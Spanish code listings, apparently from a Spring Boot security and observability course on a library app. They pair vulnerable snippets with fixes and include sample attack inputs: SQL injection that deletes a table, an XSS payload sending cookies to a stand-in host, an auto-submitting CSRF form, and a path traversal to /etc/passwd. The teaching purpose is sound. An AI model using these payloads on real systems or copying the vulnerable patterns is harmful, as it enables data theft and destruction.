-- El usuario de la aplicación NO debe poder borrar tablas
CREATE USER bibliotech_app WITH PASSWORD :'clave';
GRANT CONNECT ON DATABASE bibliotech TO bibliotech_app;
GRANT USAGE ON SCHEMA public TO bibliotech_app;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO bibliotech_app;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO bibliotech_app;
-- Sin CREATE, sin DROP, sin ALTER: el esquema lo gobierna Flyway con OTRO usuario

CREATE USER bibliotech_migraciones WITH PASSWORD :'clave_migraciones';
GRANT ALL PRIVILEGES ON DATABASE bibliotech TO bibliotech_migraciones;

// VULNERABLE. Con texto = "'; DELETE FROM prestamo; --" la consulta se convierte en dos.
String jpql = "select m from Material m where m.titulo like '%" + texto + "%'";
em.createQuery(jpql, Material.class).getResultList();

// SEGURO: el parámetro NUNCA se interpreta como SQL. Es un valor, no código.
em.createQuery("select m from Material m where lower(m.titulo) like lower(:texto)", Material.class)
  .setParameter("texto", "%" + texto + "%")
  .getResultList();

// PELIGRO: la ordenación NO se puede parametrizar
@Query(value = "select * from material order by " + "#{#orden}", nativeQuery = true)   // MAL

// SEGURO: lista blanca. Nunca texto del usuario en la estructura de la consulta.
private static final Set<String> ORDENES_PERMITIDOS = Set.of("titulo", "autor", "anio_publicacion");

public List<Material> ordenadosPor(String campo) {
    if (!ORDENES_PERMITIDOS.contains(campo)) {
        throw new ParametroInvalidoException("Orden no permitido: " + campo);
    }
    return em.createQuery("select m from Material m order by m." + campo, Material.class)
             .getResultList();
}

<!-- VULNERABLE: si el título es <script>fetch('http://malo/'+document.cookie)</script> -->
<td th:utext="${material.titulo}"></td>

<!-- SEGURO: th:text ESCAPA el HTML. Es el valor por defecto de Thymeleaf. -->
<td th:text="${material.titulo}"></td>

<!-- En sitio-malicioso.com -->
<form action="https://bibliotech.nexussoftware.com/api/materiales/978-0000000001" method="POST">
  <input type="hidden" name="_method" value="DELETE">
</form>
<script>document.forms[0].submit();</script>

// VULNERABLE: cualquier empleado autenticado ve los préstamos de cualquier otro
@GetMapping("/api/empleados/{id}/prestamos")
public List<PrestamoResponse> prestamosDe(@PathVariable Long id) {
    return gestor.prestamosDe(id).stream().map(PrestamoResponse::desde).toList();
}

// SEGURO: o eres tú, o eres bibliotecario
@GetMapping("/api/empleados/{id}/prestamos")
@PreAuthorize("#id == authentication.principal.id or hasRole('BIBLIOTECARIO')")
public List<PrestamoResponse> prestamosDe(@PathVariable Long id) { … }

// EXTREMADAMENTE PELIGROSO: nunca con datos que no controlas.
ObjectInputStream ois = new ObjectInputStream(entradaDelUsuario);
Object objeto = ois.readObject();      // esto puede ejecutar código arbitrario

// Y en Jackson, el equivalente:
mapper.enableDefaultTyping();                          // NUNCA con datos externos
mapper.activateDefaultTyping(validador, …);            // solo con lista blanca estricta

// (a) En la respuesta: entidad expuesta con el hash de la contraseña
@GetMapping("/api/empleados/{id}")
public Empleado porId(@PathVariable Long id) { … }     // MAL: DTO, siempre (12-01)

// (b) En el log: datos personales y credenciales
log.info("Autenticando a {} con contraseña {}", correo, contrasena);   // MAL, y muy común
log.debug("Petición recibida: {}", peticion);                          // ¿qué lleva dentro?

// (c) En el error: traza que revela versiones y estructura interna
server.error.include-stacktrace: always                                 // MAL (12-04)

public class EnmascaradorDatosSensibles extends ClassicConverter {

    private static final List<Pattern> PATRONES = List.of(
        Pattern.compile("(\"(?:password|contrasena|token|apiKey|secret)\"\\s*:\\s*\")([^\"]+)(\")",
                        Pattern.CASE_INSENSITIVE),
        Pattern.compile("(Authorization:\\s*Bearer\\s+)(\\S+)", Pattern.CASE_INSENSITIVE),
        Pattern.compile("\\b(\\d{8})([A-Za-z])\\b")     // DNI
    );

    @Override
    public String convert(ILoggingEvent evento) {
        String mensaje = evento.getFormattedMessage();
        for (Pattern p : PATRONES) {
            mensaje = p.matcher(mensaje).replaceAll("$1***$3");
        }
        return mensaje;
    }
}

<plugin>
  <groupId>org.owasp</groupId>
  <artifactId>dependency-check-maven</artifactId>
  <version>10.0.4</version>
  <configuration>
    <failBuildOnCVSS>7</failBuildOnCVSS>      <!-- CVSS 7+ = alta o crítica -->
    <suppressionFiles>
      <suppressionFile>config/supresiones-cve.xml</suppressionFile>
    </suppressionFiles>
  </configuration>
  <executions>
    <execution><goals><goal>check</goal></goals></execution>
  </executions>
</plugin>

./mvnw org.owasp:dependency-check-maven:check
open target/dependency-check-report.html

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: maven
    directory: "/"
    schedule: { interval: weekly, day: monday }
    open-pull-requests-limit: 10
    groups:
      spring:
        patterns: ["org.springframework*"]     # agrupar: menos ruido
      pruebas:
        patterns: ["*junit*", "*mockito*", "*assertj*", "*testcontainers*"]
    ignore:
      - dependency-name: "*"
        update-types: ["version-update:semver-major"]   # las mayores, a mano

<plugin>
  <groupId>org.cyclonedx</groupId>
  <artifactId>cyclonedx-maven-plugin</artifactId>
  <version>2.8.1</version>
  <executions>
    <execution>
      <phase>package</phase>
      <goals><goal>makeAggregateBom</goal></goals>
    </execution>
  </executions>
</plugin>

./mvnw package        # genera target/bom.json y target/bom.xml
grep -i "log4j" target/bom.json      # respuesta en un segundo

<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-security</artifactId>
</dependency>

@Configuration
@EnableWebSecurity
@EnableMethodSecurity          // habilita @PreAuthorize
public class ConfiguracionSeguridad {

    private final FiltroAutenticacionJwt filtroJwt;
    private final ManejadorErroresSeguridad manejadorErrores;

    @Bean
    SecurityFilterChain cadenaFiltros(HttpSecurity http) throws Exception {
        return http
            // API sin estado: no hay sesión de servidor, luego no hay CSRF por cookie
            .csrf(AbstractHttpConfigurer::disable)
            .sessionManagement(s -> s.sessionCreationPolicy(SessionCreationPolicy.STATELESS))

            .cors(cors -> cors.configurationSource(fuenteCors()))

            .authorizeHttpRequests(rutas -> rutas
                // --- Público ---
                .requestMatchers(HttpMethod.POST, "/api/auth/login", "/api/auth/refrescar").permitAll()
                .requestMatchers("/actuator/health/**").permitAll()

                // --- Solo lectura del catálogo: cualquier empleado autenticado ---
                .requestMatchers(HttpMethod.GET, "/api/materiales/**").hasAnyRole("EMPLEADO", "BIBLIOTECARIO", "ADMIN")

                // --- Gestión del catálogo: bibliotecarios ---
                .requestMatchers(HttpMethod.POST,   "/api/materiales/**").hasRole("BIBLIOTECARIO")
                .requestMatchers(HttpMethod.PUT,    "/api/materiales/**").hasRole("BIBLIOTECARIO")
                .requestMatchers(HttpMethod.PATCH,  "/api/materiales/**").hasRole("BIBLIOTECARIO")
                .requestMatchers(HttpMethod.DELETE, "/api/materiales/**").hasRole("BIBLIOTECARIO")

                // --- Administración ---
                .requestMatchers("/api/empleados/**").hasRole("ADMIN")
                .requestMatchers("/actuator/**").hasRole("ADMIN")

                // --- Documentación: solo fuera de producción (ver perfil) ---
                .requestMatchers("/swagger-ui/**", "/v3/api-docs/**").hasRole("ADMIN")

                // --- Regla final: TODO lo demás requiere autenticación ---
                // denyAll implícito por defecto: lo que no se declara, no pasa
                .anyRequest().authenticated())

            .exceptionHandling(e -> e
                .authenticationEntryPoint(manejadorErrores)     // 401 en formato Problem Details
                .accessDeniedHandler(manejadorErrores))         // 403 ídem

            // Nuestro filtro ANTES del de usuario y contraseña
            .addFilterBefore(filtroJwt, UsernamePasswordAuthenticationFilter.class)

            .headers(h -> h
                .frameOptions(FrameOptionsConfig::deny)
                .contentSecurityPolicy(csp -> csp.policyDirectives(
                    "default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none'"))
                .httpStrictTransportSecurity(hsts -> hsts
                    .includeSubDomains(true)
                    .maxAgeInSeconds(31_536_000)))

            .build();
    }

    @Bean
    PasswordEncoder codificadorContrasenas() {
        // Fuerza 12: ~250 ms por verificación en hardware de 2026.
        // Suficientemente lento para un atacante, tolerable para un usuario.
        return new BCryptPasswordEncoder(12);
    }

    @Bean
    AuthenticationManager gestorAutenticacion(AuthenticationConfiguration config) throws Exception {
        return config.getAuthenticationManager();
    }
}

@Service
public class ServicioAutenticacion {

    private final RepositorioEmpleados empleados;
    private final PasswordEncoder codificador;

    /** Registro: la contraseña se codifica y la original se descarta de inmediato. */
    @Transactional
    public Empleado registrar(String nombre, String correo, char[] contrasena) {
        validarFortaleza(contrasena);
        try {
            String hash = codificador.encode(new String(contrasena));
            return empleados.guardar(Empleado.nuevo(nombre, correo, hash));
        } finally {
            Arrays.fill(contrasena, '\0');   // sobrescribir en memoria (12-03)
        }
    }

    public Optional<Empleado> autenticar(String correo, String contrasena) {
        Optional<Empleado> empleado = empleados.buscarPorCorreo(correo);

        if (empleado.isEmpty()) {
            // Comparar contra un hash ficticio para que el tiempo de respuesta
            // sea el mismo exista o no el usuario. Sin esto, un atacante puede
            // ENUMERAR usuarios midiendo la latencia.
            codificador.matches(contrasena, HASH_FICTICIO);
            return Optional.empty();
        }
        if (!codificador.matches(contrasena, empleado.get().getHashContrasena())) {
            return Optional.empty();
        }
        return empleado;
    }
}

$2a$12$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
 │   │  └────────────────────┬──────────────────────────────┘
 │   │                       └─ sal (22) + hash (31), en base64
 │   └───────────────────────── coste: 2^12 = 4.096 iteraciones
 └───────────────────────────── versión del algoritmo

private void validarFortaleza(char[] contrasena) {
    // La longitud importa MÁS que la complejidad: "caballo batería grapa correcta"
    // es más fuerte que "P@ssw0rd" y mucho más fácil de recordar.
    if (contrasena.length < 12) {
        throw new ContrasenaDebilException("Mínimo 12 caracteres");
    }
    if (contrasena.length > 128) {
        throw new ContrasenaDebilException("Máximo 128 caracteres");   // evitar DoS con BCrypt
    }
    if (esComun(new String(contrasena))) {
        throw new ContrasenaDebilException("Esta contraseña aparece en filtraciones conocidas");
    }
}

@Service
public class GestorPrestamos implements GestionarPrestamos {

    @Override
    @Transactional
    @PreAuthorize("hasRole('EMPLEADO')")
    public Prestamo prestar(Isbn isbn, Long idEmpleado, Integer dias) { … }

    /** O es tu propio préstamo, o eres bibliotecario. */
    @Override
    @Transactional
    @PreAuthorize("@propiedad.esSuPrestamo(#idPrestamo) or hasRole('BIBLIOTECARIO')")
    public ResultadoDevolucion devolver(Long idPrestamo, LocalDate fecha) { … }

    /** Condonar una multa es una decisión con impacto económico. */
    @Override
    @Transactional
    @PreAuthorize("hasRole('BIBLIOTECARIO')")
    @Auditado(accion = "CONDONAR_MULTA")
    public void condonarMulta(Long idPrestamo, String motivo) { … }

    /** Filtrar el resultado: cada uno ve lo suyo. */
    @Override
    @PostFilter("filterObject.idEmpleado == authentication.principal.id or hasRole('BIBLIOTECARIO')")
    public List<Prestamo> todosLosActivos() { … }
}

@Component("propiedad")
public class ComprobadorPropiedad {

    private final RepositorioPrestamos prestamos;

    public boolean esSuPrestamo(Long idPrestamo) {
        Long idUsuario = usuarioActual().getId();
        return prestamos.buscarPorId(idPrestamo)
                .map(p -> p.getIdEmpleado().equals(idUsuario))
                .orElse(false);
    }

    private UsuarioBiblioTech usuarioActual() {
        Authentication auth = SecurityContextHolder.getContext().getAuthentication();
        if (auth == null || !(auth.getPrincipal() instanceof UsuarioBiblioTech usuario)) {
            throw new AccessDeniedException("Sin usuario autenticado");
        }
        return usuario;
    }
}

@Aspect
@Component
public class AspectoAuditoria {

    private static final Logger auditoria = LoggerFactory.getLogger("AUDITORIA");

    @AfterReturning("@annotation(auditado)")
    public void registrar(JoinPoint punto, Auditado auditado) {
        Authentication auth = SecurityContextHolder.getContext().getAuthentication();
        auditoria.info("accion={} usuario={} argumentos={} traceId={}",
                auditado.accion(),
                auth != null ? auth.getName() : "anonimo",
                Arrays.toString(punto.getArgs()),
                MDC.get("traceId"));
    }
}

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwibmFtZSI6Ik1hcnRhIFJ1aXoifQ.4pcPyMD09olPSyXn
└──────── cabecera ────────┘ └──────── carga útil ────────┘ └──── firma ────┘

// Cabecera                          // Carga útil
{ "alg": "HS256", "typ": "JWT" }     { "sub": "1",
                                       "correo": "[email protected]",
                                       "roles": ["EMPLEADO", "BIBLIOTECARIO"],
                                       "iat": 1785000000,
                                       "exp": 1785003600 }

@Service
public class ServicioJwt {

    private final SecretKey clave;
    private final Duration vigenciaAcceso;
    private final Duration vigenciaRefresco;
    private final Clock reloj;                    // 10-05: inyectable, para poder probarlo

    public ServicioJwt(PropiedadesJwt props, Clock reloj) {
        // La clave viene de una variable de entorno y debe tener al menos 256 bits.
        // Si es corta o está en el código, la firma es falsificable.
        byte[] bytes = Decoders.BASE64.decode(props.secreto());
        if (bytes.length < 32) {
            throw new IllegalStateException("La clave JWT debe tener al menos 256 bits");
        }
        this.clave = Keys.hmacShaKeyFor(bytes);
        this.vigenciaAcceso = props.vigenciaAcceso();
        this.vigenciaRefresco = props.vigenciaRefresco();
        this.reloj = reloj;
    }

    public String generarAcceso(UsuarioBiblioTech usuario) {
        Instant ahora = Instant.now(reloj);
        return Jwts.builder()
                .subject(String.valueOf(usuario.getId()))
                .claim("correo", usuario.getUsername())
                .claim("roles", usuario.getAuthorities().stream()
                        .map(GrantedAuthority::getAuthority).toList())
                .issuer("bibliotech.nexussoftware.com")
                .issuedAt(Date.from(ahora))
                .expiration(Date.from(ahora.plus(vigenciaAcceso)))
                .id(UUID.randomUUID().toString())      // jti: permite revocar este token concreto
                .signWith(clave, Jwts.SIG.HS256)
                .compact();
    }

    public Claims validar(String token) {
        try {
            return Jwts.parser()
                    .verifyWith(clave)
                    .requireIssuer("bibliotech.nexussoftware.com")
                    .clockSkewSeconds(30)              // tolerancia de reloj entre servidores
                    .build()
                    .parseSignedClaims(token)
                    .getPayload();
        } catch (ExpiredJwtException e) {
            throw new TokenCaducadoException(e);        // el cliente debe refrescar
        } catch (JwtException | IllegalArgumentException e) {
            throw new TokenInvalidoException(e);        // firma incorrecta o token manipulado
        }
    }
}

@Component
public class FiltroAutenticacionJwt extends OncePerRequestFilter {

    private final ServicioJwt jwt;
    private final RegistroTokensRevocados revocados;

    @Override
    protected void doFilterInternal(HttpServletRequest peticion, HttpServletResponse respuesta,
                                    FilterChain cadena) throws ServletException, IOException {
        try {
            extraerToken(peticion).ifPresent(token -> {
                Claims afirmaciones = jwt.validar(token);

                if (revocados.estaRevocado(afirmaciones.getId())) {
                    throw new TokenRevocadoException();
                }

                var autoridades = ((List<?>) afirmaciones.get("roles")).stream()
                        .map(String::valueOf)
                        .map(SimpleGrantedAuthority::new)
                        .toList();

                var autenticacion = new UsernamePasswordAuthenticationToken(
                        new UsuarioBiblioTech(Long.valueOf(afirmaciones.getSubject()),
                                              afirmaciones.get("correo", String.class), autoridades),
                        null, autoridades);

                SecurityContextHolder.getContext().setAuthentication(autenticacion);

                // Correlación: el identificador de usuario en el MDC de 11-07
                MDC.put("usuarioId", afirmaciones.getSubject());
            });

            cadena.doFilter(peticion, respuesta);

        } catch (TokenCaducadoException | TokenInvalidoException | TokenRevocadoException e) {
            SecurityContextHolder.clearContext();
            escribirProblema(respuesta, HttpStatus.UNAUTHORIZED, e.getMessage());
        } finally {
            MDC.remove("usuarioId");     // regla de 11-07: limpiar SIEMPRE en un pool de hilos
        }
    }

    private Optional<String> extraerToken(HttpServletRequest peticion) {
        String cabecera = peticion.getHeader(HttpHeaders.AUTHORIZATION);
        return (cabecera != null && cabecera.startsWith("Bearer "))
                ? Optional.of(cabecera.substring(7))
                : Optional.empty();
    }
}

@Entity
public class TokenRefresco {
    @Id private String id;                    // jti
    private Long idEmpleado;
    private String hashToken;                 // el token también se guarda con hash
    private Instant caducaEn;
    private Instant revocadoEn;
    private String dispositivo;               // para poder mostrar "sesiones activas"
}

server:
  ssl:
    enabled: true
    key-store: ${TLS_KEYSTORE_PATH}
    key-store-password: ${TLS_KEYSTORE_PASSWORD}
    key-store-type: PKCS12
    protocol: TLS
    enabled-protocols: TLSv1.3,TLSv1.2        # TLS 1.0 y 1.1 están obsoletos

server:
  forward-headers-strategy: framework     # respeta X-Forwarded-Proto y X-Forwarded-For

spring:
  servlet:
    multipart:
      max-file-size: 10MB
      max-request-size: 12MB
server:
  tomcat:
    max-http-form-post-size: 2MB
    max-swallow-size: 2MB
    connection-timeout: 20s
    threads:
      max: 200

@Component
public class FiltroLimiteTasa extends OncePerRequestFilter {

    private final Cache<String, Bucket> cubos = Caffeine.newBuilder()
            .expireAfterAccess(Duration.ofMinutes(10))
            .maximumSize(100_000)
            .build();

    @Override
    protected void doFilterInternal(HttpServletRequest p, HttpServletResponse r, FilterChain c)
            throws ServletException, IOException {

        String clave = claveDe(p);      // usuario autenticado, o IP si es anónimo
        Bucket cubo = cubos.get(clave, k -> nuevoCubo(p));

        ConsumptionProbe sonda = cubo.tryConsumeAndReturnRemaining(1);
        if (sonda.isConsumed()) {
            r.setHeader("X-RateLimit-Remaining", String.valueOf(sonda.getRemainingTokens()));
            c.doFilter(p, r);
        } else {
            long esperaSegundos = sonda.getNanosToWaitForRefill() / 1_000_000_000;
            r.setStatus(HttpStatus.TOO_MANY_REQUESTS.value());        // 429
            r.setHeader(HttpHeaders.RETRY_AFTER, String.valueOf(esperaSegundos));
            escribirProblema(r, "Demasiadas peticiones. Reintenta en " + esperaSegundos + " s.");
        }
    }

    private Bucket nuevoCubo(HttpServletRequest p) {
        // El login se limita MUCHO más: es la puerta a los ataques de fuerza bruta
        boolean esLogin = p.getRequestURI().startsWith("/api/auth/login");
        int porMinuto = esLogin ? 5 : 100;
        return Bucket.builder()
                .addLimit(l -> l.capacity(porMinuto).refillGreedy(porMinuto, Duration.ofMinutes(1)))
                .build();
    }
}

// VULNERABLE: nombre = "../../../etc/passwd"
@GetMapping("/api/informes/{nombre}")
public Resource descargar(@PathVariable String nombre) throws IOException {
    return new FileSystemResource(Path.of("/var/bibliotech/informes/", nombre));
}

// SEGURO: normalizar y verificar que sigue dentro del directorio permitido
private static final Path BASE = Path.of("/var/bibliotech/informes").toAbsolutePath().normalize();

@GetMapping("/api/informes/{nombre}")
public Resource descargar(@PathVariable @Pattern(regexp = "[a-zA-Z0-9._-]{1,64}") String nombre)
        throws IOException {

    Path solicitado = BASE.resolve(nombre).normalize();

    // La comprobación DECISIVA: tras normalizar, ¿sigue dentro de BASE?
    if (!solicitado.startsWith(BASE)) {
        throw new AccessDeniedException("Ruta no permitida");
    }
    if (!Files.isRegularFile(solicitado)) {
        throw new RecursoNoEncontradoException(nombre);
    }
    return new FileSystemResource(solicitado);
}

// SEGURO: desactivar entidades externas antes de parsear cualquier XML
DocumentBuilderFactory fabrica = DocumentBuilderFactory.newInstance();
fabrica.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
fabrica.setFeature("http://xml.org/sax/features/external-general-entities", false);
fabrica.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
fabrica.setXIncludeAware(false);
fabrica.setExpandEntityReferences(false);

<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
  <groupId>io.micrometer</groupId>
  <artifactId>micrometer-registry-prometheus</artifactId>
  <scope>runtime</scope>
</dependency>

management:
  endpoints:
    web:
      exposure:
        include: health,info,metrics,prometheus,loggers
  endpoint:
    health:
      probes: { enabled: true }
      show-details: when-authorized
  metrics:
    tags:
      application: bibliotech          # etiqueta común a TODAS las métricas
      entorno: ${SPRING_PROFILES_ACTIVE:desconocido}
  observations:
    key-values:
      version: ${bibliotech.version}
  prometheus:
    metrics:
      export:
        enabled: true

@Service
public class MetricasBiblioTech {

    private final Counter prestamosCreados;
    private final Counter prestamosRechazados;
    private final Counter multasEmitidas;
    private final Timer tiempoCalculoMultas;
    private final DistributionSummary importeMultas;

    public MetricasBiblioTech(MeterRegistry registro, RepositorioMateriales materiales) {

        this.prestamosCreados = Counter.builder("bibliotech.prestamos.creados")
                .description("Préstamos creados correctamente")
                .baseUnit("prestamos")
                .register(registro);

        this.prestamosRechazados = Counter.builder("bibliotech.prestamos.rechazados")
                .description("Intentos de préstamo rechazados")
                .register(registro);

        this.multasEmitidas = Counter.builder("bibliotech.multas.emitidas")
                .register(registro);

        this.tiempoCalculoMultas = Timer.builder("bibliotech.multas.calculo")
                .publishPercentiles(0.5, 0.95, 0.99)
                .register(registro);

        this.importeMultas = DistributionSummary.builder("bibliotech.multas.importe")
                .baseUnit("euros")
                .publishPercentiles(0.5, 0.95)
                .register(registro);

        // Gauge: se consulta cuando se recoge la métrica.
        // OJO: la función debe ser BARATA. Aquí una consulta cacheada, no un count() a la BD.
        Gauge.builder("bibliotech.materiales.disponibles", materiales::contarDisponiblesCacheado)
                .description("Materiales con al menos una unidad libre")
                .register(registro);
    }

    /** Con etiqueta de motivo: permite ver POR QUÉ se rechazan. */
    public void prestamoRechazado(String motivo) {
        prestamosRechazados.increment();
        Counter.builder("bibliotech.prestamos.rechazados.por.motivo")
                .tag("motivo", motivo)      // limite_excedido, sin_unidades, multas_pendientes
                .register(registro)
                .increment();
    }
}

@Service
public class GestorPrestamos {

    @Timed(value = "bibliotech.prestamos.duracion", percentiles = {0.5, 0.95, 0.99})
    @Transactional
    public Prestamo prestar(Isbn isbn, Long idEmpleado, Integer dias) {
        try {
            Prestamo prestamo = crearPrestamo(isbn, idEmpleado, dias);
            metricas.prestamoCreado(prestamo.getMaterial().tipo());
            return prestamo;
        } catch (LimiteDePrestamosExcedidoException e) {
            metricas.prestamoRechazado("limite_excedido");
            throw e;
        } catch (MaterialNoDisponibleException e) {
            metricas.prestamoRechazado("sin_unidades");
            throw e;
        }
    }
}

$ curl -s localhost:8080/actuator/prometheus | grep bibliotech_prestamos
# HELP bibliotech_prestamos_creados_total Préstamos creados correctamente
# TYPE bibliotech_prestamos_creados_total counter
bibliotech_prestamos_creados_total{application="bibliotech",entorno="prod",tipo="LIBRO"} 1247.0
bibliotech_prestamos_creados_total{application="bibliotech",entorno="prod",tipo="DVD"} 89.0

# prometheus.yml
global:
  scrape_interval: 15s

scrape_configs:
  - job_name: bibliotech
    metrics_path: /actuator/prometheus
    static_configs:
      - targets: ['bibliotech:8080']

rule_files:
  - alertas.yml

# Peticiones por segundo, por endpoint
sum(rate(http_server_requests_seconds_count[5m])) by (uri)

# Latencia del percentil 95
histogram_quantile(0.95, sum(rate(http_server_requests_seconds_bucket[5m])) by (le, uri))

# Tasa de error (5xx sobre el total)
sum(rate(http_server_requests_seconds_count{status=~"5.."}[5m]))
/ sum(rate(http_server_requests_seconds_count[5m]))

# Uso del pool de conexiones
hikaricp_connections_active / hikaricp_connections_max

# Préstamos por hora
sum(rate(bibliotech_prestamos_creados_total[1h])) * 3600

# Memoria del heap en uso, en porcentaje
sum(jvm_memory_used_bytes{area="heap"}) / sum(jvm_memory_max_bytes{area="heap"})

  prometheus:
    image: prom/prometheus:latest
    volumes:
      - ./observabilidad/prometheus.yml:/etc/prometheus/prometheus.yml:ro
      - ./observabilidad/alertas.yml:/etc/prometheus/alertas.yml:ro
    ports: ["9090:9090"]

  grafana:
    image: grafana/grafana:latest
    environment:
      GF_SECURITY_ADMIN_PASSWORD: ${GRAFANA_PASSWORD:-admin}
    volumes:
      - ./observabilidad/grafana:/etc/grafana/provisioning:ro
    ports: ["3000:3000"]
    depends_on: [prometheus]

<dependency>
  <groupId>io.micrometer</groupId>
  <artifactId>micrometer-tracing-bridge-otel</artifactId>
</dependency>
<dependency>
  <groupId>io.opentelemetry</groupId>
  <artifactId>opentelemetry-exporter-otlp</artifactId>
</dependency>

management:
  tracing:
    sampling:
      probability: 0.1        # 10 % de las peticiones: coste bajo, muestra suficiente
  otlp:
    tracing:
      endpoint: http://tempo:4318/v1/traces

logging:
  pattern:
    # traceId y spanId en CADA línea de log: así se une una traza con sus registros
    level: "%5p [${spring.application.name},%X{traceId:-},%X{spanId:-}]"

Trace a3f7e91c4b2d8f6a  ─── total: 187 ms
├── http POST /api/prestamos                                187 ms
│   ├── GestorPrestamos.prestar                             184 ms
│   │   ├── select material where isbn = ?                    4 ms
│   │   ├── select count(*) from prestamo where …              3 ms
│   │   ├── PasarelaMetadatos.buscar (HTTP externo)         142 ms  ← EL CULPABLE
│   │   ├── insert into prestamo                              6 ms
│   │   └── NotificadorAvisos.notificar                      27 ms
│   └── serialización JSON                                    2 ms

@Service
public class EnriquecedorCatalogo {

    private final ObservationRegistry registro;

    public void enriquecer(List<Material> materiales) {
        Observation.createNotStarted("bibliotech.enriquecer", registro)
                .lowCardinalityKeyValue("origen", "api-metadatos")
                .highCardinalityKeyValue("cantidad", String.valueOf(materiales.size()))
                .observe(() -> {
                    materiales.forEach(this::enriquecerUno);
                });
    }
}

<!-- logback-spring.xml, retomando 11-07 -->
<configuration>

  <springProfile name="dev">
    <appender name="CONSOLA" class="ch.qos.logback.core.ConsoleAppender">
      <encoder>
        <pattern>%d{HH:mm:ss.SSS} %highlight(%-5level) [%X{traceId:-}] %cyan(%logger{25}) - %msg%n</pattern>
      </encoder>
    </appender>
    <root level="INFO"><appender-ref ref="CONSOLA"/></root>
  </springProfile>

  <springProfile name="prod">
    <appender name="JSON" class="ch.qos.logback.core.ConsoleAppender">
      <encoder class="net.logstash.logback.encoder.LogstashEncoder">
        <includeMdcKeyName>traceId</includeMdcKeyName>
        <includeMdcKeyName>spanId</includeMdcKeyName>
        <includeMdcKeyName>usuarioId</includeMdcKeyName>
        <customFields>{"aplicacion":"bibliotech","entorno":"prod"}</customFields>
        <fieldNames>
          <timestamp>marca_tiempo</timestamp>
          <message>mensaje</message>
        </fieldNames>
      </encoder>
    </appender>

    <!-- Asíncrono: registrar NO debe frenar las peticiones -->
    <appender name="ASINCRONO" class="ch.qos.logback.classic.AsyncAppender">
      <appender-ref ref="JSON"/>
      <queueSize>2048</queueSize>
      <discardingThreshold>0</discardingThreshold>   <!-- no descartar WARN ni ERROR -->
      <neverBlock>true</neverBlock>                  <!-- ante saturación, descartar antes que bloquear -->
    </appender>

    <root level="INFO"><appender-ref ref="ASINCRONO"/></root>
    <logger name="AUDITORIA" level="INFO" additivity="false">
      <appender-ref ref="ASINCRONO"/>
    </logger>
  </springProfile>
</configuration>

{
  "marca_tiempo": "2026-08-05T10:23:45.123Z",
  "level": "INFO",
  "logger_name": "com.nexussoftware.bibliotech.aplicacion.GestorPrestamos",
  "mensaje": "Préstamo creado id=42 isbn=978-0000000001",
  "traceId": "a3f7e91c4b2d8f6a",
  "spanId": "8f6a2b1c",
  "usuarioId": "1",
  "aplicacion": "bibliotech",
  "entorno": "prod"
}

# alertas.yml
groups:
  - name: bibliotech
    rules:

      # ✅ BUENA: impacto directo en usuarios, requiere acción
      - alert: TasaDeErroresAlta
        expr: |
          sum(rate(http_server_requests_seconds_count{status=~"5..",application="bibliotech"}[5m]))
          / sum(rate(http_server_requests_seconds_count{application="bibliotech"}[5m])) > 0.01
        for: 5m
        labels: { severidad: critica }
        annotations:
          summary: "Más del 1 % de las peticiones fallan con 5xx"
          descripcion: "Tasa actual: {{ $value | humanizePercentage }}"
          accion: "Revisa los logs con severity=ERROR y las trazas del último despliegue"
          runbook: "https://wiki.nexussoftware.com/bibliotech/runbook#errores-5xx"

      # ✅ BUENA: predice un fallo antes de que ocurra
      - alert: PoolDeConexionesAgotandose
        expr: hikaricp_connections_pending{application="bibliotech"} > 5
        for: 3m
        labels: { severidad: alta }
        annotations:
          summary: "{{ $value }} hilos esperando conexión a la base de datos"
          accion: "Busca consultas lentas; considera subir maximum-pool-size"

      # ✅ BUENA: detecta un fallo SILENCIOSO
      - alert: SinPrestamosEnHorarioLaboral
        expr: |
          sum(rate(bibliotech_prestamos_creados_total[30m])) == 0
          and on() (hour() >= 8 < 18) and on() (day_of_week() > 0 < 6)
        for: 30m
        labels: { severidad: media }
        annotations:
          summary: "Ni un solo préstamo en 30 minutos en horario laboral"
          descripcion: "El sistema responde, pero quizá haya un fallo funcional"

      # ❌ MALA: no implica impacto y se dispara constantemente
      # - alert: UsoDeCpuAlto
      #   expr: system_cpu_usage > 0.8
      #   Un pico de CPU de 30 segundos no requiere que nadie se levante.

      # ❌ MALA: informativa, no accionable
      # - alert: DespliegueRealizado
      #   Eso va a un canal de notificaciones, no a una alerta.

{
  "title": "BiblioTech — Salud",
  "panels": [
    {
      "title": "Tasa de error (5xx)",
      "targets": [{ "expr": "sum(rate(http_server_requests_seconds_count{status=~\"5..\"}[5m])) / sum(rate(http_server_requests_seconds_count[5m]))" }],
      "thresholds": [{ "value": 0.01, "color": "red" }]
    },
    {
      "title": "Latencia p95 por endpoint",
      "targets": [{ "expr": "histogram_quantile(0.95, sum(rate(http_server_requests_seconds_bucket[5m])) by (le, uri))" }]
    },
    {
      "title": "Préstamos por hora",
      "targets": [{ "expr": "sum(rate(bibliotech_prestamos_creados_total[1h])) * 3600" }]
    },
    {
      "title": "Rechazos por motivo",
      "targets": [{ "expr": "sum(rate(bibliotech_prestamos_rechazados_por_motivo_total[15m])) by (motivo)" }]
    }
  ]
}

@GetMapping("/api/v1/materiales/{isbn}")
@Deprecated(since = "1.5.0", forRemoval = true)
@Operation(deprecated = true,
           summary = "[OBSOLETO] Usa /api/v2/materiales/{isbn}",
           description = "Se eliminará el 2027-01-01. Cambios en v2: el campo 'disponible' "
                       + "(booleano) se sustituye por 'unidadesDisponibles' (entero).")
public ResponseEntity<MaterialResponseV1> porIsbnV1(@PathVariable Isbn isbn) {
    return ResponseEntity.ok()
            .header("Deprecation", "true")                                    // RFC 8594
            .header("Sunset", "Fri, 01 Jan 2027 00:00:00 GMT")
            .header("Link", "</api/v2/materiales/" + isbn + ">; rel=\"successor-version\"")
            .body(MaterialResponseV1.desde(catalogo.porIsbn(isbn).orElseThrow()));
}

